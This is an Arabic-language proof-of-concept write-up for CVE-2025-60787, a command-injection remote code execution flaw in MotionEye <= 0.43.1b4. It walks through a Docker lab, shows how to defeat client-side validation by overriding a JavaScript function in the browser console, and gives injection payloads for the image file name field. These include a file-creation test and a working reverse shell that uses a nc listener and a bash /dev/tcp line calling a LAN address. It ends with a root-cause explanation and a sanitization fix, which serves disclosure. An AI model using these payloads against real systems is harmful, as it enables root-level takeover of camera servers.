
إثبات المفهوم لثغرة CVE-2025-60787، يوضح تنفيذ التعليمات البرمجية عن بُعد في MotionEye <= 0.43.1b4 عبر تجاوز التحقق من صحة جانب العميل وحقن الأوامر في اسم ملف الصورة.
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
الرابط الأصلي: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
أثناء اختبار أمني لمثيل MotionEye يعمل داخل Docker، لوحظ أنه يمكن تجاوز التحقق من جهة العميل داخل واجهة الويب. وهذا يسمح بإرسال مدخلات عشوائية، بما في ذلك الحمولات التي يمكن أن تؤدي إلى تنفيذ أوامر على الحاوية المضيفة. تشكل هذه المشكلة خطر تنفيذ الأوامر عن بُعد (RCE) إذا تم استغلالها.
الإصدارات المتأثرة: جميع الإصدارات حتى 0.43.1b4 شاملة
حالة التصحيح: لا يوجد تصحيح متاح حتى الآن. يوجد حل بديل مذكور في هذا التنبيه.
مرجع المشروع: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 مرتبط بمنفذ الحاوية 8765admin / كلمة مرور فارغة (افتراضي)قم بتشغيل الأمر التالي لبدء تنزيل صورة Docker وتشغيل الحاوية
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
النتيجة: خادم MotionEye 0.43.1b4

بمجرد تشغيل حاوية Docker، يمكن الوصول إلى قشرة الحاوية باستخدام الأوامر التالية
docker exec -it motioneye /bin/bash
ls -la /tmp

الوصول إلى الواجهة عبر:
http://127.0.0.1:9999
تسجيل الدخول: admin (كلمة مرور فارغة)
تمت إضافة كاميرا شبكة RTSP نموذجية.

تم إدخال أمر تنفيذ خبيث في حقل "الصور الثابتة" > "اسم ملف الصورة"، ولكن تم مواجهة خطأ في التحقق من جهة العميل.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
تم حظره بواسطة التحقق من جهة العميل.


البرنامج النصي التالي مسؤول عن التحقق: /static/js/main.js?v=0.43.1b4، والذي يشير إلى /static/js/ui.js?v=0.43.1b4 لتنفيذ شروط التحقق.
الملف: /static/js/main.js?v=0.43.1b4 يشير إلى /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
من خلال تجاوز دالة configUiValid في وحدة تحكم المتصفح، يمكن تجاوز جميع فحوصات التحقق: أدخل المقتطف التالي في وحدة تحكم المتصفح (F12 أو Ctrl+Shift+I)
configUiValid = function() {
return true;
};

الآن يمكن إدخال الحمولة مباشرة دون أي تحقق: قم بتعيين ما يلي وتطبيق الإعدادات
الإعدادات:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

تم التطبيق ← تم إنشاء الملف بصلاحيات الجذر.

إنتاج قشرة عكسية بسيطة:
المستمع:
nc -lvnp 4444

الحمولة المحقونة:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

النتيجة: تم الحصول على قشرة عن بُعد.
MotionEye عرضة للخطر لأنه يأخذ مدخلات المستخدم من لوحة الويب ويكتبها مباشرة في ملفات إعدادات Motion دون التحقق من الأحرف الخطرة. على سبيل المثال، يتم إرسال حقل image_file_name في الواجهة إلى الخادم الخلفي (config.py) وحفظه في /etc/motioneye/camera-.conf. عندما يعيد MotionEye تشغيل خدمة Motion (motionctl.start)، تقرأ عملية Motion ملف الإعداد هذا. إذا كان حقل picture_filename يحتوي على صيغة قشرة مثل $(touch /tmp/test)، فسيقوم Motion بتشغيلها كأمر حقيقي بدلاً من معاملتها كجزء من اسم الملف.
مدخلات غير معقّمة تُكتب في ملفات إعدادات Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload
الملف: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value

تطبيق التعقيم:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
قبل:
بعد:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
الأصلي:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
استبدل بـ:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

داخل motion_camera_ui_to_dict(...):
الأصلي:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
استبدل بـ:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')